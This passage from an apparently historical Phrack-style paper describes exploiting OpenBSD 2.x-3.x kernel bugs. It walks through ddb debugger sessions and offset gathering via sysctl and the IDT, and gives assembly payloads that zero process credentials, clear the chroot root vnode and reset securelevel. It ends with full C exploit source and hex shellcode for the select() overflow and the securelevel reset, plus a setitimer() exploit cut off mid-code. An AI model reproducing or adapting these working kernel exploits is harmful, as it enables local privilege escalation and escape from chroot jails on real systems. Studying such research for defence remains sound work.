bash‑2.05a# objdump ‑d ‑‑start‑address=0xe01c5a3c ‑‑stopaddress=0xe01c5e63\

> /bsd | grep _copyin

e01c5b72: e8 f9 a9 f3 ff call e0100570 <_copyin> e01c5b9f: e8 cc a9 f3 ff call e0100570 <_copyin> e01c5bcc: e8 9f a9 f3 ff call e0100570 <_copyin> e01c5bf9: e8 72 a9 f3 ff call e0100570 <_copyin>

The first copyin() is the one that copies the readfds and overflows the kernel stack. That's the one we are after.

CTRL+ALT+ESC

bash‑2.05a# Stopped at _Debugger+0x4: leave

ddb> x/i 0xe01c5b72

_sys_select+0x136:call_copyin

ddb> break _sys_select+0x136

ddb> cont

^M

bash‑2.05a# ./test2

Breakpoint at_sys_select+0x136:call_copyin

ddb> x/x $esp,3

0xe461de20:5f38e461de7810000000

These are the 3 arguments pushed on the stack for copyin() ubuf: 0x5f38 kbuf: 0xe461de78 len:10000000

ddb> x/x 0x5f38

0x5f38:41414141

...

ddb> x/x $ebp

0xe461df38:e461dfa8‑‑> saved %ebp

ddb> ^M

0xe461df3c:e02f34ce‑‑> saved %eip

ddb>

In the x86 calling convention, 2 longs just before the base pointer are the saved eip (return address) and the saved ebp, respectively. To calculate the distance between the stack buffer and the saved eip in ddb is done as follows:

ddb> print 0xe461df3c ‑ 0xe461de78

c4

ddb> boot sync

...

The distance between the address of saved "return address" and the kernel buffer is 196 (0xc4) bytes. Limiting our copyin() operation to 200 bytes with the mprotect() technique will ensure a clean overflow.

4.2 ‑ Return address overwrite & execution redirection

At this stage I'll introduce another test code to "verify" execution redirection and usability of the user land buffer for payload execution.

test3.c:

#include <stdio.h>

#include <sys/types.h>

#include <sys/mman.h>

#include <unistd.h>

int

main(void)

{

char *buf;

long *lptr;

u_long pgsz = sysconf(_SC_PAGESIZE);

buf = (char *) malloc(pgsz * 3);

if(!buf) { perror("malloc"); exit(‑1); } memset(buf, 0xcc, pgsz*3); /* int3 */

buf = (char *) (((u_long) buf & ~pgsz) + pgsz);

if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz, PROT_WRITE) < 0)

{

perror("mprotect"); exit(‑1);

}

lptr = (long *) ((u_long)buf + pgsz ‑ 8); *lptr++ = 0xbaddcafe; /* saved %ebp, does not

* matter at this stage

*/

*lptr++ = (long) buf; /* overwrite the return addr

* with buf's addr

*/

select(0x80000000, (fd_set *) ((u_long) buf + pgsz ‑ 200), NULL, NULL, NULL);

}

test3.c code will overwrite the saved ebp with 0xbaddcafe and the saved instruction pointer with the address of the user land buffer, which is filled with 'int 3''s (debug interrupts). This code should kick in the kernel debugger.

bash‑2.05a# gcc ‑o test3 test3.c

bash‑2.05a# ./test3

Stopped at0x5001:int$3

ddb> x/i $eip,2

0x5001:int$3

0x5002: int$3

ddb> print $ebp

baddcafe

ddb> boot sync

...

Everything goes as planned, we successfully jump to user land and execute code. Now we shall concentrate on other issues such as payload/shellcode creation, symbol address gathering on run time, etc...

‑‑[ 5 ‑ How to gather offsets & symbol addresses

Before considering what to achieve with kernel payload, I should remind you about the previous questions that we raised which was how to return back to user land, the proposed solution was basically to fix up %ebp, find out where syscall() handler is in memory, plus where in syscall() we should be returning. Payload is the obvious place to do the mentioned fix‑ ups but this brings the complication of how to gather kernel addresses. After dealing with some insufficient pre‑exploitation techniques such like 'nm /bsd', kvm_open() and nlist() system interfaces which are all lacking the solution for non‑reable (in terms of fs permissions) kernel image (/bsd). I come to the conclusion that all address gathering should be done on run time (in the execution state of the payload). Many win32 folks have been doing this type of automation in shellcodes by walking through the thread environment block (TEB) for some time. Also kernel structures such like the process structure has to be supplied to the payload in order to achieve our goals. Following sections would introduce the proposed solutions for kernel space address gathering.

‑‑[ 5.1 ‑ sysctl() syscall

sysctl() system call will enable us to gather process structure information which is needed for the credential and chroot manipulation payloads. In this section we will take a brief look into the internals of the sysctl() syscall.

sysctl is a system call to get and set kernel level information from user land. It has a good interface to pass data from kernel to user land and back. sysctl interface is structured into several sub components such as the kernel, hardware, virtual memory, net, filesystem and architecure system control interfaces. We'll concentrate on the kernel sysctl's which is handled by the kern_sysctl()function. See: sys/kern/kern_sysctl.c:234 kern_sysctl() function also assigns different handlers to certain queries such as proc structure, clockrate, vnode and file information. The process structure is handled by the sysctl_doproc() function and this is the interface to kernel land information that we are after!

int

sysctl_doproc(name, namelen, where, sizep)

int *name;

u_int namelen;

char *where;

size_t *sizep;

{

...

[1] for (; p != 0; p = LIST_NEXT(p, p_list)) {

...

[2] switch (name[0]) {

case KERN_PROC_PID:

/* could do this with just a lookup */

[3] if (p‑>p_pid != (pid_t)name[1])

continue;

break;

...

}

....

if (buflen >= sizeof(struct kinfo_proc)) {

[4] fill_eproc(p, &eproc);

[5] error = copyout((caddr_t)p, &dp‑>kp_proc,

sizeof(struct proc));

....

void

fill_eproc(p, ep)

register struct proc *p;

register struct eproc *ep;

{

register struct tty *tp;

[6] ep‑>e_paddr = p;

Also for sysctl_doproc() there can be different types of queries which are handled by the switch [2] statement. KERN_PROC_PID is the query that is sufficient enough to gather the needed address about any process's proc structure. For the select() overflow it was sufficient enough just to gather the parent process's proc address but the setitimer() vulnerability make use of the sysctl() interface in many different ways (more on this later).

sysctl_doproc() code iterates through [1] the linked list of proc structures in order to find the queried pid [3], and, if found, certain structures (eproc & kp_proc) get filled‑in [4], [5] and copyout to user land. fill_eproc() (called from [4]) does the trick [6] and copies the proc address of the queried pid into the e_paddr member of the eproc structure, which, in turn, was eventually copied out to user land in the kinfo_proc structure (which is the main data structure for the sysctl_doproc() function). For further information on members of these structures see: sys/sys/sysctl.h.

The following is the function we'll be using to retrieve the kinfo_proc structure:

void

get_proc(pid_t pid, struct kinfo_proc *kp)

{

u_int arr[4], len;

arr[0] = CTL_KERN;

arr[1] = KERN_PROC;

arr[2] = KERN_PROC_PID;

arr[3] = pid;

len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl");

exit(‑1);

}

}

It is a pretty straightforward interface, what happens is: CTL_KERN will be dispatched to kern_sysctl() by sys_sysctl() KERN_PROC will be dispatched to sysctl_doproc() by kern_sysctl() KERN_PROC_PID will be handled by the aforementioned switch statement, eventually returning the kinfo_proc structure.

<rant>

sysctl() system call might be there with all good intensions such as getting and setting kernel information in a dynamic fashion. However, from a security point of view, I believe sysctl() syscall should not be blindly giving proc information about any queried pid. Credential checks should be added in proper places, especially for the systcl_doproc() interface ... </rant>

‑‑[ 5.2 ‑ sidt technique & _kernel_text search

As mentioned before, we are after transparent payload execution so that _sys_select() will actually return to its caller _syscall() as expected. I will explain how to gather the return path in this section. The solution depends on the idtr (interrupt descriptor table register) that contains a fixed location address, which is the start of the Interrupt Descriptor Table (IDT).

Without going into too many details, IDT is the table that holds the interrupt handlers for various interrupt vectors. Each interrupt in x86 is represented by a number in the range 0 ‑ 255 and these numbers are called the interrupt vectors. These vectors are used to locate the initial handler for any given interrupt inside the IDT. IDT contains 256 entries, each being 8 bytes. IDT descriptor entries can be 3 different types but we will concentrate only on the gate descriptor:

sys/arch/i386/include/segment.h:99

struct gate_descriptor {

unsigned gd_looffset:16; /* gate offset (lsb) */

unsigned gd_selector:16; /* gate segment selector */

unsigned gd_stkcpy:5; /* number of stack wds to cpy */

unsigned gd_xx:3; /* unused */

unsigned gd_type:5; /* segment type */

unsigned gd_dpl:2; /* segment descriptor priority

level */

unsigned gd_p:1; /* segment descriptor present */

unsigned gd_hioffset:16; /* gate offset (msb) */

}

gate_descriptor's members gd_looffset and gd_hioffset will form the low level interrupt handler's address. For more information on the various fields, reader should consult to the architecture manuals [Intel].

System call interface to request kernel services is implemented through the software initiated interrupt: 0x80. Armored with this knowledge, starting from the address of the low level syscall interrupt handler and walking through the kernel text, we can find our way to the high level syscall handler and finally return to it.

Interrupt descriptor table under OpenBSD is named _idt_region and slot number: 0x80 is the gate descriptor for the system call interrupt 'int 0x80'. Since every member is 8 bytes, system call gate_descriptor is at address '_idt_region + 0x80 * 0x8' which is '_idt_region + 0x400'.

bash‑2.05a# Stopped at_Debugger+0x4: leave

ddb> x/x _idt_region+0x400

_idt_region+0x400:80e4c

ddb> ^M

_idt_region+0x404:e010ef00

To figure out the initial syscall handler we need to do the proper 'shift' and 'or' operations on the gate descriptor bit fields, which leads to the 0xe0100e4c kernel address.

bash‑2.05a# Stopped at _Debugger+0x4: leave

ddb> x/x 0xe0100e4c

_Xosyscall_end:pushl$0x2

ddb> ^M

_Xosyscall_end+0x2:pushl$0x3

...

...

_Xosyscall_end+0x20:call_syscall

...

As per exception or software initiated interrupt, the corresponding vector is found in the IDT and the execution is redirected to the handler gathered from the gate descriptor. This is an intermediate handler and will eventually take us to real handler. As seen at the kernel debugger output, the initial handler _Xosyscall_end saves all registers (also some other low level stuff) and immediately calls the real handler which is _syscall().

We have mentioned that the idtr register always contains the address of the _idt_region, here is the way to access its content:

sidt 0x4(%edi)

mov 0x6(%edi),%ebx

Address of the _idt_region is moved to ebx and IDT can now be referenced via ebx. Assembly code to gather the syscall handler starting from the initial handler is as follows;

sidt 0x4(%edi)

mov 0x6(%edi),%ebx # mov _idt_region is in ebx

mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404]

shr $0x10,%ecx #

sal $0x10,%ecx # ecx = gd_hioffset

sal $0x10,%edx #

shr $0x10,%edx # edx = gd_looffset

or %ecx,%edx # edx = ecx | edx = _Xosyscall_end

At this stage we have successfully found the initial/intermediate handler's location, so the next step is to search through the kernel text, find 'call _syscall', gather the displacement of the call instruction and add it to the address of the instruction's location. Also plus 5 should be added to the displacement for the size of the call instruction.

xor %ecx,%ecx # zero out the counter

up:

inc %ecx

movb (%edx,%ecx),%bl # bl = _Xosyscall_end++

cmpb $0xe8,%bl # if bl == 0xe8 : 'call'

jne up

lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx

mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement

add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall()

At this stage %ecx holds the address of the real handler _syscall(). The next step is to find out where to return inside the syscall() function which eventually leads to a broader research on various versions of OpenBSD with various kernel compilation options. Luckily, it turns out to be safe to search for the 'call *%eax' instruction inside the _syscall(), because this turns out to be the instruction that dispatches every system call to its final handler in every OpenBSD version I have tested.

For OpenBSD 2.6 through 3.1 kernel code always dispatched the system calls with the 'call *%eax' instruction, which is unique in the scope of _syscall() function.

bash‑2.05a# Stopped at _Debugger+0x4: leave

ddb> x/i _syscall+0x240

_syscall+0x240:call*%eax

ddb>cont

Our goal is now to figure out the offset (0x240 in the above disasm) for any kernel version so that we can return to the instruction just after it from our payload and achieve our goal. The code to search for 'call *%eax' is as follows:

# _syscall+0x240: ff

# _syscall+0x241: d0 0x240‑>0x241 OBSD3.1

mov %ecx,%edi # ecx is the addr of _syscall

movw $0xd0ff,%ax # search for ffd0 'call *%eax'

cld

mov $0xffffffff,%ecx

repnz

scasw # scan (%edi++) for %ax

# %edi gets incremented one last time before breaking the loop # %edi contains the instruction address just after 'call *%eax' # so return to it!!!

xor %eax,%eax #set up the return value = Success ;)

push %edi # push %edi on the stack and return to it ret

Finally, this is all we needed for a clean return. This payload can be used for any syscall overflow without requiring any further modification.

‑‑[ 5.3 ‑ _db_lookup() technique

This technique introduces no new concepts; it is just another kernel text search to find out the address of _db_lookup() ‑‑ the kernel land equivalent of dlsym(). The search is based on the function fingerprint, which is fairly safe on the recent versions on which the code has been developed, but it might not work on the older versions. I choose to keep it out of the text for brevity's sake but it's exact the same 'repnz scas' concept just used in the idtr technique. (for sample code, contact me.)

‑‑[ 5.4 ‑ /usr/bin/nm, kvm_open(), nlist()

/usr/bin/nm, kvm library and nlist() library interface can all be used to gather kernel land symbols and offsets but, as we already mentioned, they all require a readable kernel image and/or additional privileges which in most secured systems are not usually avaliable.

Furthermore, the most obvious problem with these interfaces are that they won't work at all in chroot()ed environments with no privileges (nobody). These are the main reasons I have not used these techniques within the exploitation phase of privilege escalation and chroot breaking, but after establishing full control over the system (uid = 0 and out of jail), I have made use of offline binary symbol gathering in order to reset the securelevel, more about this later.

‑‑[ 5.5 ‑ %ebp fixup

After taking care of the saved return address, we need to fix %ebp to prevent crashes in later stages (especially in _syscall() code). The proper way to calculate %ebp is to find out the difference between the stack pointer and the saved base pointer at the procedure exit and used this static number to restore %ebp. For all the versions of OpenBSD 2.6 through 3.1 this difference was 0x68 bytes. You can simply set a breakpoint on _sys_select prolog and another one just before the 'leave' instruction at the epilog and calculate the difference between the %ebp recorded at the prolog and the %esp recorded just before the epilog.

lea 0x68(%esp),%ebp # fixup ebp

Above instruction would be enough to set the %ebp back to its old value.

‑‑[ 6 ‑ Payload/Shellcode Creation

In the following sections we'll develop small payloads that modify certain fields of its parent process' proc structure to achieve elevated privileges and break out of chroot/jail environments. Then, we'll chain the developed assembly code with the sidt code to work our way back to user land and enjoy our new privileges.

‑‑[ 6.1 ‑ What to achieve

Setting up a jail with nobody privileges and trying to break out of it seems like a fairly good goal to achieve. Since all these privilege separation terms are brought into OpenBSD with the latest OpenSSH, it would be nice to actually demonstrate how trivial it would be to bypass this kind of 'protection' by way of such kernel level vulnerabilities.

Certain inetd.conf services and OpenSSH are run as nobody/user in a chrooted/jailed environment ‑‑ intended to be an additional assurance of security. This is a totally false sense of security; jailme.c code follows:

jailme.c:

#include <stdio.h>

int

main()

{

chdir("/var/tmp/jail"); chroot("/var/tmp/jail");

setgroups(NULL, NULL);

setgid(32767);

setegid(32767);

setuid(32767);

seteuid(32767);

execl("/bin/sh", "jailed", NULL);

}

bash‑2.05a# gcc ‑o jailme jailme.c

bash‑2.05a# cp jailme /tmp/jailme

bash‑2.05a# mkdir /var/tmp/jail

bash‑2.05a# mkdir /var/tmp/jail/usr

bash‑2.05a# mkdir /var/tmp/jail/bin /var/tmp/jail/usr/lib bash‑2.05a# mkdir /var/tmp/jail/usr/libexec

bash‑2.05a# cp /bin/sh /var/tmp/jail/bin/

bash‑2.05a# cp /usr/bin/id /var/tmp/jail/bin/

bash‑2.05a# cp /bin/ls /var/tmp/jail/bin/

bash‑2.05a# cp /usr/lib/libc.so.28.3 /var/tmp/jail/usr/lib/ bash‑2.05a# cp /usr/libexec/ld.so /var/tmp/jail/usr/libexec/ bash‑2.05a# cat >> /etc/inetd.conf

1024 stream tcp nowait root /tmp/jailme

^C

bash‑2.05a# ps aux | grep inetd

root 19121 0.0 1.1 148 352 p0 S+ 8:19AM 0:00.05 grep inetd

root 27152 0.0 1.1 64 348 ?? Is 6:00PM 0:00.08 inetd bash‑2.05a# kill ‑HUP 27152

bash‑2.05a# nc ‑v localhost 1024

Connection to localhost 1024 port [tcp/*] succeeded!

ls ‑l /

total 4

drwxr‑xr‑x 2 0 0 512 Dec 9 16:23 bin

drwxr‑xr‑x 4 0 0 512 Dec 9 16:21 usr

id

uid=32767 gid=32767

ps

jailed: <stdin>[4]: ps: not found

....

‑‑[ 6.2 ‑ The payload

Throughout this section we will introduce all the tiny bits of the complete payload. So all these section chained together will form the eventual payload, which will be available at the code section (10) of this paper.

‑‑[ 6.2.1 ‑ p_cred & u_cred

We'll start with the privilege elevation section of the payload. Following is the payload to update ucred (credentials of user) and pcred (credentials of the process) of any given proc structure. Exploit code fills in the proc address of its parent process by using the sysctl() system call (discussed on 5.1) replacing .long 0x12345678. The following 'call' and 'pop' instructions will load the address of the given proc structure address into %edi. The typical address gathering technique used in almost every PIC %shellcode [ALEPH1].

call moo

.long 0x12345678 <‑‑ pproc addr

.long 0xdeadcafe

.long 0xbeefdead

nop

nop

nop

moo:

pop %edi

mov (%edi),%ecx # parent's proc addr in ecx

# update p_ruid

mov 0x10(%ecx),%ebx # ebx = p‑>p_cred

xor %eax,%eax # eax = 0

mov %eax,0x4(%ebx) # p‑>p_cred‑>p_ruid = 0

# update cr_uid

mov (%ebx),%edx # edx = p‑>p_cred‑>pc_ucred

mov %eax,0x4(%edx) # p‑>p_cred‑>pc_ucred‑>cr_uid = 0

‑‑[ 6.2.2 ‑ chroot breaking

Next tiny assembly fragment will be the chroot breaker of our complete payload.

Without going into extra detail (time is running out, deadline is within 3 days ;)), lets take a brief look of how chroot is checked on a per‑process basis. chroot jails are implemented by filling in the fd_rdir member of the filedesc (open files structure) with the desired jail directories vnode pointer. When kernel is giving certain services to any process, it checks for the existence of this pointer and if it's filled with a vnode that process is handled slightly different and kernel will create the notion of a new root directory for this process thus jailing it into a predefined directory. For a regular process this pointer is zero / unset. So without any further need to go into implementation level details, just setting this pointer to NULL means FREEDOM! fd_rdir is referenced through the proc structure as follows:

p‑>p_fd‑>fd_rdir

As with the credentials structure, filedesc is also trivial to access and alter, with only 2 instruction additions to our payload.

# update p‑>p_fd‑>fd_rdir to break chroot()

mov 0x14(%ecx),%edx # edx = p‑>p_fd

mov %eax,0xc(%edx) # p‑>p_fd‑>fd_rdir = 0

‑‑[ 6.2.3 ‑ securelevel

OpenBSD has 4 different securelevels starting from permanently insecure to highly secure mode. The system by default runs at level 1 which is the secure mode. Secure mode restrictions are as follows:

‑ securelevel may no longer be lowered except by init

‑ /dev/mem and /dev/kmem may not be written to

‑ raw disk devices of mounted file systems are read‑only

‑ system immutable and append‑only file flags may not be removed ‑ kernel modules may not be loaded or unloaded

Some of these restrictions might complicate further compromise of the system. So we should also take care of the securelevel flag and reset it to 0, which is the insecure level that gives you privileges such as being able to load kernel modules to further penetrate the system.

But there were many problems in run time searching of the address of securelevel in memory without false positives so I chose to utilize this attack at a later stage. The stage that we get uid 0 and break free out of jail, now we have all the interfaces available mentioned in section 5.4 to query any kernel symbol and retrieve its address.

bash‑2.05a# /usr/bin/nm /bsd | grep securelevel

e05cff38 B _securelevel

For this reason an additional, second stage exploit was crafted (without any difference, other then the payload) that executes the following assembly routine and returns to user land, using the idtr technique. See ex_select_obsd_secl.c in section 10

call moo

.long 0x12345678 <‑‑ address of securelevel filled by user moo:

pop %edi

mov (%edi),%ebx # address of securelevel in ebx # reset security level to 0/insecure

xor %eax,%eax # eax = 0

mov %eax,(%ebx) # securelevel = 0

...

‑‑[ 6.3 ‑ Get root & escape jail

All of the above chained into 2 piece of exploit code. Here is the door to freedom! (Exploits and payloads can be found in section 10)

bash‑2.05a# gcc ‑o ex ex_select_obsd.c

bash‑2.05a# gcc ‑o ex2 ex_select_obsd_secl.c

bash‑2.05a# cp ex /var/tmp/jail/

bash‑2.05a# cp ex2 /var/tmp/jail/

bash‑2.05a# nc ‑v localhost 1024

id

uid=32767 gid=32767

ls /

bin

ex

ex2

usr

./ex

[*] OpenBSD 2.x ‑ 3.x select() kernel overflow [*]

[*] by Sinan "noir" Eren ‑ noir@olympos.org [*]

userland: 0x0000df38 parent_proc: 0xe46373a4

id

uid=0(root) gid=32767(nobody)

uname ‑a

OpenBSD kernfu 3.1 GENERIC#59 i386

ls /

.cshrc

.profile

altroot

bin

boot

bsd

dev

etc

...

sysctl kern.securelevel

kern.securelevel = 1

nm /bsd | grep _securelevel

e05cff38 B _securelevel

./ex2 e05cff38

sysctl kern.securelevel

kern.securelevel = 0

... ;)

Directly copying the exploit into the jailed environment might seem a bit unrealistic but it really is not an issue with system call redirection [MAXIMI] or even by using little more imaginative shellcodes, you can execute anything from a remote source without any further need for a shell interpreter. To the best of my knowledge there is 2 commercial products that have already achieved such remote execution simulations. [IMPACT], [CANVAS]

‑‑[ 7 ‑ Conclusions

My goal in writing this paper was try to prove kernel land vulnerabilities such as stack overflows and integer conditions can be exploited and lead to total control over the system, no matter how strict your user land (i.e., privilege separation) or even kernel land (i.e., chroot, systrace, securelevel) enforcements are ... I also tried to contribute to the newly raised concepts (greets to Gera) of fail‑safe and reusable exploitation code generation.

I would like to end this article with my favorite vuln‑dev posting of all time:

Subject: RE: OpenSSH Vulns (new?) Priv seperation

[...]

reducing root‑run code from 27000 to 2500 lines is the important part. who cares how many holes there are when it is in /var/empty/sshd chroot with no possibility of root :)

XXXXX

[ I CARE. lol! ;)]

‑‑[ 8 ‑ Greetings

Thanks to Dan and Dave for correcting my English and committing many logic fixes. Thanks to certain anonymous people for their help and support.

Greets to: optyx, dan, dave aitel, gera, bind, jeru, #convers uberhax0r, olympos and gsu.linux ppl

Most thanks of all to goes to Asli for support, help and her never‑ending affection. Seni Seviyorum, mosirrr!!

‑‑[ 9 ‑References

‑ [ESA] Exploiting Kernel Buffer Overflows FreeBSD Style http://online.securityfocus.com/archive/1/153336

‑ [LSD‑PL]Kernel Level Vulnerabilities, 5th Argus Hacking Challenge http://lsd‑pl.net/kernel_vulnerabilities.html

‑ [4.4 BSD]The Design and Implementation of the 4.4BSD Operating System

‑ [Intel]Intel Pentium 4 Processors Manuals http://developer.intel.com/design/Pentium4/manuals/

‑ [ALEPH1]Smashing The Stack For Fun And Profit http://www.phrack.org/show.php?p=49&a=14

‑ [MAXIMI]Syscall Proxying ‑ Simulating Remote Execution http://www.corest.com/files/files/13/BlackHat2002.pdf

‑ [IMPACT]http://www.corest.com/products/coreimpact/index.php

‑ [CANVAS]http://www.immunitysec.com/CANVAS

‑ [ODED]Big Loop Integer Protection

Phrack #60 0x09 by Oded Horovitz

‑‑[ 10 ‑ Code

<++> ./ex_kernel/ex_select_obsd.c

/**

** OpenBSD 2.x 3.x select() kernel bof exploit

** Sinan "noir" Eren

** noir@olympos.org | noir@uberhax0r.net

** (c) 2002

**

**/

#include <stdio.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/mman.h>

#include <unistd.h>

#include <sys/param.h>

#include <sys/sysctl.h>

#include <sys/signal.h>

#include <sys/utsname.h>

#include <sys/stat.h>

/* kernel_sc.s shellcode */

unsigned char shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b" "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10" "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a" "\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9" "\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff\xff\xff\xff\xf2\x66\xaf\x31\xc0" "\x57\xc3";

void sig_handler();

void get_proc(pid_t, struct kinfo_proc *);

int

main(int argc, char **argv)

{

char *buf, *ptr, *fptr;

u_long pgsz, *lptr, pprocadr;

struct kinfo_proc kp;

printf("\n\n[*] OpenBSD 2.x ‑ 3.x select() kernel overflow [*]\n"); printf("[*] by Sinan \"noir\" Eren ‑ noir@olympos.org [*]\n"); printf("\n\n"); sleep(1);

pgsz = sysconf(_SC_PAGESIZE);

fptr = buf = (char *) malloc(pgsz*4);

if(!buf) {

perror("malloc");

exit(‑1);

}

memset(buf, 0x41, pgsz*4);

buf = (char *) (((u_long)buf & ~pgsz) + pgsz);

get_proc((pid_t) getppid(), &kp);

pprocadr = (u_long) kp.kp_eproc.e_paddr;

ptr = (char *) (buf + pgsz ‑ 200); /* userland adr */

lptr = (long *) (buf + pgsz ‑ 8);

*lptr++ = 0x12345678; /* saved %ebp */

*lptr++ = (u_long) ptr; /*(uadr + 0x1ec0); saved %eip */

shellcode[5] = pprocadr & 0xff;

shellcode[6] = (pprocadr >> 8) & 0xff;

shellcode[7] = (pprocadr >> 16) & 0xff;

shellcode[8] = (pprocadr >> 24) & 0xff;

memcpy(ptr, shellcode, sizeof(shellcode)‑1);

printf("userland: 0x%.8x ", ptr); printf("parent_proc: 0x%.8x\n", pprocadr);

if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz, PROT_WRITE) < 0) {

perror("mprotect");

exit(‑1);

}

signal(SIGSEGV, (void (*)())sig_handler);

select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL);

done:

free(fptr);

}

void

sig_handler()

{

exit(0);

}

void

get_proc(pid_t pid, struct kinfo_proc *kp)

{

u_int arr[4], len;

arr[0] = CTL_KERN;

arr[1] = KERN_PROC;

arr[2] = KERN_PROC_PID;

arr[3] = pid;

len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(‑1);

}

}

<‑‑> ./ex_kernel/ex_select_obsd.c

<++> ./ex_kernel/ex_select_obsd_secl.c

/**

** OpenBSD 2.x 3.x select() kernel bof exploit

**

** securelevel reset exploit, this is the second stage attack **

** Sinan "noir" Eren

** noir@olympos.org | noir@uberhax0r.net

** (c) 2002

**

**/

#include <stdio.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/mman.h>

#include <unistd.h>

#include <sys/param.h>

#include <sys/signal.h>

#include <sys/utsname.h>

#include <sys/stat.h>

/* sel_sc.s shellcode */

unsigned char shellcode[] = "\xe8\x04\x00\x00\x00\x78\x56\x34\x12\x5f\x8b\x1f\x31\xc0\x89\x03\x8d" "\x6c\x24\x68\x0f\x01\x4f\x04\x8b\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b" "\x8b\x04\x04\x00\x00\xc1\xe9\x10\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10" "\x09\xca\x31\xc9\x41\x8a\x1c\x0a\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41" "\x8b\x0c\x0a\x83\xc1\x05\x01\xd9\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff" "\xff\xff\xff\xf2\x66\xaf\x31\xc0\x57\xc3";

void sig_handler();

int

main(int argc, char **argv)

{

char *buf, *ptr, *fptr;

u_long pgsz, *lptr, secladr;

if(!argv[1]) {

printf("Usage: %s secl_addr\nsecl_addr: /usr/bin/nm /bsd |" " grep _securelevel\n", argv[0]);

exit(0);

}

secladr = strtoul(argv[1], NULL, 16);

pgsz = sysconf(_SC_PAGESIZE);

fptr = buf = (char *) malloc(pgsz*4);

if(!buf) {

perror("malloc");

exit(‑1);

}

memset(buf, 0x41, pgsz*4);

buf = (char *) (((u_long)buf & ~pgsz) + pgsz);

ptr = (char *) (buf + pgsz ‑ 200); /* userland adr */

lptr = (long *) (buf + pgsz ‑ 8);

*lptr++ = 0x12345678; /* saved %ebp */

*lptr++ = (u_long) ptr; /*(uadr + 0x1ec0); saved %eip */

shellcode[5] = secladr & 0xff;

shellcode[6] = (secladr >> 8) & 0xff;

shellcode[7] = (secladr >> 16) & 0xff;

shellcode[8] = (secladr >> 24) & 0xff;

memcpy(ptr, shellcode, sizeof(shellcode)‑1);

if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz, PROT_WRITE) < 0) {

perror("mprotect");

exit(‑1);

}

signal(SIGSEGV, (void (*)())sig_handler);

select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL);

done:

free(fptr);

}

void

sig_handler()

{

exit(0);

}

<‑‑> ./ex_kernel/ex_select_obsd_secl.c

<++> ./ex_kernel/ex_setitimer_obsd.c

/**

** OpenBSD 2.x 3.x setitimer() kernel memory write exploit ** Sinan "noir" Eren

** noir@olympos.org | noir@uberhax0r.net

** (c) 2002

**

**/

#include <stdio.h>

#include <sys/param.h>

#include <sys/proc.h>

#include <sys/time.h>

#include <sys/sysctl.h>

struct itimerval val, oval;

int which = 0;

int

main(int argc, char **argv)

{

find_which();

setitimer(which, &val, &oval);

seteuid(0);

setuid(0);

printf("uid: %d euid: %d gid: %d \n", getuid(), geteuid(), getgid()); execl("/bin/sh", "noir", NULL);

}

find_which()

{

unsigned int arr[4], len;

struct kinfo_proc kp;

long stat, cred, rem;

memset(&val, 0x00, sizeof(val));

val.it_interval.tv_sec = 0x00; //fill this with cr_ref

val.it_interval.tv_usec = 0x00;

val.it_value.tv_sec = 0x00;

val.it_value.tv_usec = 0x00;

arr[0] = CTL_KERN;

arr[1] = KERN_PROC;

arr[2] = KERN_PROC_PID;

arr[3] = getpid();

len = sizeof(struct kinfo_proc);

if(sysctl(arr, 4, &kp, &len, NULL, 0) < 0) { perror("sysctl");

fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(‑1);

}

printf("proc: %p\n\n", (u_long) kp.kp_eproc.e_paddr); printf("pc_ucred: %p ", (u_long) kp.kp_eproc.e_pcred.pc_ucred);

printf("p_ruid: %d\n\n", (u_long) kp.kp_eproc.e_pcred.p_ruid); printf("proc‑>p_cred‑>p_ruid: %p, proc‑>p_stats: %p\n", (char *) (kp.kp_proc.p_cred) + 4, kp.kp_proc.p_stats); printf("cr_ref: %d\n", (u_long) kp.kp_eproc.e_ucred.cr_ref);

cred = (long) kp.kp_eproc.e_pcred.pc_ucred;

stat = (long) kp.kp_proc.p_stats;

val.it_interval.tv_sec = kp.kp_eproc.e_ucred.cr_ref;

printf("calculating which for u_cred:\n");

which = cred ‑ stat ‑ 0x90;

rem = ((u_long)which%0x10);

printf("which: %.8x reminder: %x\n", which, rem);

switch(rem) {

case 0x8:

case 0x4:

case 0xc:

break;

case 0x0:

printf("using u_cred, we will have perminent euid=0\n"); goto out;

}

val.it_interval.tv_sec = 0x00;

cred = (long) ((char *) kp.kp_proc.p_cred+4);

stat = (long) kp.kp_proc.p_stats;

printf("calculating which for u_cred:\n");

which = cred ‑ stat ‑ 0x90;

rem = ((u_long)which%0x10);

printf("which: %.8x reminder: %x\n", which, rem);

switch(rem) {

case 0x8:

case 0x4:

printf("too bad rem is fucked!\nlet me know about this!!\n"); exit(0);

case 0x0:

break;

case 0xc:

